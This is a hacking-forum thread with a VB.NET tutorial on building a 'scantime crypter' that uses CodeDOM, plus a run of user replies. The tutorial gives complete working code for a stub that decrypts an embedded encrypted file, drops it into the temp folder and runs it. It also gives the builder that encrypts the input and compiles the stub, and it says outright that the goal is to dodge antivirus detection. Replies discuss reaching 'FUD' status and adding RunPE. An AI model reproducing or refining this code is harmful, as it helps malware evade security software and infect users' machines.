Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

[TUT][VB.NET]Scantime CodeDOM Crypter!

Scantime Codedom Crypter
In this tutorial i will teach you how to make basic scantime crypter using VB.NET and the inbuilt CodeDOM library.



.:Credits:.

*Pr3fix - CodeDOM compiler


.:How it will work:.

CodeDOM is a library included in the dotNET framework. CodeDOM will allow us to compile a new application from a source stored in a string. Using CodeDOM we can make a program that compiles an application containing the encrypted bytes of a file and a function to decrypt the bytes and write them to the harddrive. This will make it a pain in the ass for all the AntiVirus companies out there to detect your file!


.:Let's begin:.

Just before we start I want to make one thing clear, the code provided in this tutorial needs to be modified to get completely undetected.

The first thing you will have to do is to add one button and two textboxes.
Name the first textbox "InputText" and the second one "OutputText".
And finally name the button "CryptBtn" and set its text to "Crypt File".

Now double click on My Project and click on the tab Resources. Then add a new Text File to your resources called Code. This text file will contain the source your program will compile.
Then write this text in the text file:

Code
Imports System, Microsoft.VisualBasic, System.IO
Imports System.Security.Cryptography
Imports System.Diagnostics

Module Module1
    Sub Main()
        Dim Key As String = "//ZKey//"
        Dim SavePath As String = Path.GetTempPath & "temp.exe"
        Dim //ZBase64Bytes// As String = //ZB64//
        Dim Bytes As Byte() = Convert.FromBase64String(RijndaelDecrypt(//ZBase64Bytes//, Key))

        File.WriteAllBytes(SavePath, Bytes)

        Process.Start(SavePath)

    End Sub
    Public Function RijndaelDecrypt(ByVal UDecryptU As String, ByVal UKeyU As String)
        Dim XoAesProviderX As New RijndaelManaged
        Dim XbtCipherX() As Byte
        Dim XbtSaltX() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
        Dim XoKeyGeneratorX As New Rfc2898DeriveBytes(UKeyU, XbtSaltX)
        XoAesProviderX.Key = XoKeyGeneratorX.GetBytes(XoAesProviderX.Key.Length)
        XoAesProviderX.IV = XoKeyGeneratorX.GetBytes(XoAesProviderX.IV.Length)
        Dim XmsX As New IO.MemoryStream
        Dim XcsX As New CryptoStream(XmsX, XoAesProviderX.CreateDecryptor(), _
          CryptoStreamMode.Write)
        Try
            XbtCipherX = Convert.FromBase64String(UDecryptU)
            XcsX.Write(XbtCipherX, 0, XbtCipherX.Length)
            XcsX.Close()
            UDecryptU = System.Text.Encoding.UTF8.GetString(XmsX.ToArray)
        Catch
        End Try
        Return UDecryptU
    End Function

End Module

This code will decrypt the bytes stored in //ZBase64Bytes// using the function RijndaelDecrypt, write the bytes to the harddrive and start the written bytes. Pretty simple!

Now onto reading the bytes, encrypting them, putting them into the source and compiling the source!

Now go back to the form, open the click event for "CryptBtn" and write this code:

Code
Dim Source As String = My.Resources.Code 'Declares the temporary source.
Dim Password As String = "YourEncryptionKey"
Dim Bytes As String = ProcessBase64(Rijndaelcrypt(Convert.ToBase64String(File.ReadAllBytes(InputText.Text)), Password), 2000) 'Encrypts, Formats and Converts the bytes.

        
Source = Source.Replace("//ZKey//", Password) 'Inserts the Encryption key into the code.

Source = Source.Replace("//ZBase64Bytes//", GenerateString(7)) 'Some basic variable name randomization.

Source = Source.Replace("//ZB64//", Bytes) 'Inserts the encrypted and formatted bytes into the code.

Compile(OutputText.Text, Source) 'Runs the compile Sub using the source.

Msgbox("Crypted!") 'Tells you that the process is done!

Now we need to add these three imports:
Code
Imports System.CodeDom.Compiler
Imports System.IO
Imports System.Security.Cryptography

Now we need to add some of the missing functions:
Code
#Region "Encryption and Comiling"

    Private Function GenerateString(ByVal Lenght As Integer) 'Generates some random text
        Dim Allowed As String = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890"
        Dim ReturnString As String = ""
        Dim Randumb As New Random
        For i = 1 To Lenght
            ReturnString &= Allowed.Chars(Randumb.Next(0, Allowed.Length - 1))
        Next
        Return ReturnString
    End Function

    Public Function ProcessBase64(ByVal Base64Bytes As String, ByVal MaxRowLengt As Integer) As String 'Puts the encrypted data in smexy VB.NET formatted lines.
        Dim RowLenght As Integer = 0
        Dim CurrentRow As String = ""
        Dim Output As String = ""
        For i = 0 To Base64Bytes.Length - 1
            RowLenght += 1

            CurrentRow &= Base64Bytes.Chars(i)
            If i = Base64Bytes.Length - 1 Then
                Output &= Chr(34) & CurrentRow & Chr(34)
            Else

                If RowLenght = MaxRowLengt Then
                    RowLenght = 0

                    Output &= Chr(34) & CurrentRow & Chr(34) & "& _ " & Environment.NewLine



                    CurrentRow = ""
                End If
            End If
        Next i
        Return Output
    End Function

    Public Sub Compile(ByVal Output As String, ByVal Source As String) 'CodeDOM compiler by Pr3fix
        On Error Resume Next

        Dim Compiler As ICodeCompiler = (New VBCodeProvider).CreateCompiler()
        Dim Parameters As New CompilerParameters()
        Dim cResults As CompilerResults

        Parameters.GenerateExecutable = True
        Parameters.OutputAssembly = Output
        Parameters.ReferencedAssemblies.Add("System.dll")
        Parameters.ReferencedAssemblies.Add("System.Data.dll")
        Parameters.ReferencedAssemblies.Add("System.Windows.Forms.dll")


        Dim Version = New Dictionary(Of String, String)
        Version.Add("CompilerVersion", "v2.0")

        Dim ICO As String = IO.Path.GetTempPath & "\iCompiler.ico"


        cResults = Compiler.CompileAssemblyFromSource(Parameters, Source)

        If cResults.Errors.Count > 0 Then
            For Each CompilerError In cResults.Errors
                MessageBox.Show("Error: " & CompilerError.ErrorText, "", MessageBoxButtons.OK, MessageBoxIcon.Error)
            Next
        ElseIf cResults.Errors.Count = 0 Then

        End If

    End Sub


    Public Shared Function Rijndaelcrypt(ByVal File As String, ByVal Key As String) 'Encryption Function
        Dim oAesProvider As New RijndaelManaged
        Dim btClear() As Byte
        Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
        Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt)
        oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length)
        oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length)
        Dim ms As New IO.MemoryStream
        Dim cs As New CryptoStream(ms, _
          oAesProvider.CreateEncryptor(), _
          CryptoStreamMode.Write)
        btClear = System.Text.Encoding.UTF8.GetBytes(File)
        cs.Write(btClear, 0, btClear.Length)
        cs.Close()
        File = Convert.ToBase64String(ms.ToArray)
        Return File
    End Function


#End Region


.:You're done!:.

Now the crypter is finished, just enter the name of the file that you want to crypt in InputText and where you want to save the final file in OutputText.

Alot of improvements can be done to the code, but I'll leave that up to you! ✌

This was my first tutorial on HF, so don't be too harsh on me!

I hope you all are having a nice day! 🎉

Give credits! Leechers makes me sad! 😭

(Jan 20, 2012 01:52 PM)fillobotto Wrote:  already posted several times man....

// msg
There is always room for improvement... 😝
What's the point when you can easily throw a runpe in their and call it? BAM, insta runtime.
(Jan 20, 2012 02:00 PM)ᴠᴏʟᴛᴀɢᴇ Wrote:  What's the point when you can easily throw a runpe in their and call it? BAM, insta runtime.

This is just an example... Not really hard to change it though.
What's the improvement? You just changed one line of the code:
Code
Dim Bytes As Byte() = Convert.FromBase64String(RijndaelDecrypt(//ZBase64Bytes//, Key))
(Jan 20, 2012 02:07 PM)Imaginary Wrote:  What's the improvement? You just changed one line of the code:
Code
Dim Bytes As Byte() = Convert.FromBase64String(RijndaelDecrypt(//ZBase64Bytes//, Key))

Of what code? I wrote this all by myself except the compiler and the encryption.

(Jan 20, 2012 02:05 PM)unflappedacorn Wrote:  get the vb.net garbage outta here, skid

Just stop flaming! Just trying to learn out the basics of a crypter... I know many languages other than vb you know...
Very nice Tut ! Thanks you alot sir :)
Thanks for the nice Tutorial, great work.
This is a nice tut, I am learning from it and it is helpful.
Code
Dim //ZBase64Bytes// As String = //ZB64//

Won't this huge string be detected by Avira?
(Jan 25, 2012 11:22 AM)iRtehLeet™ Wrote:  
Code
Dim //ZBase64Bytes// As String = //ZB64//

Won't this huge string be detected by Avira?

As said, the code needs to be modified to be FUD.
You'll never reach FUD with storing data like this, take my word for it (:
You say the code needs to be modified however the modification will take so much that you'd effectively be making a new crypter since you'd need to come up with a new storage method.
It's giving errors

ps:35 keys to work this message
(Jan 26, 2012 12:20 PM)HopeSaraiva Wrote:  It's giving errors

ps:35 keys to work this message

Well then fix them. Jesus christ, if you don't know VB then why did you use this?
(Jan 26, 2012 10:01 AM)Modesty Wrote:  You'll never reach FUD with storing data like this, take my word for it (:
You say the code needs to be modified however the modification will take so much that you'd effectively be making a new crypter since you'd need to come up with a new storage method.

This is just an example to teach noobs how the basics of a crypter works, not an example how to store the encrypted bytes as effectively as possible.
😅


Possibly Related Threads...
Thread / Author Replies Views Last Post
[.NET] by canicel751Jun 4, 2020 03:55 PM 25 612 Jun 4, 2020 03:55 PM
Last Post: xHeaven
[.NET] by VisualSoftApr 18, 2020 03:11 AM 78 13,094 Apr 18, 2020 03:11 AM
Last Post: VisualSoft
[C#] by gigajewAug 4, 2018 04:12 AM 15 1,062 Aug 4, 2018 04:12 AM
Last Post: Electron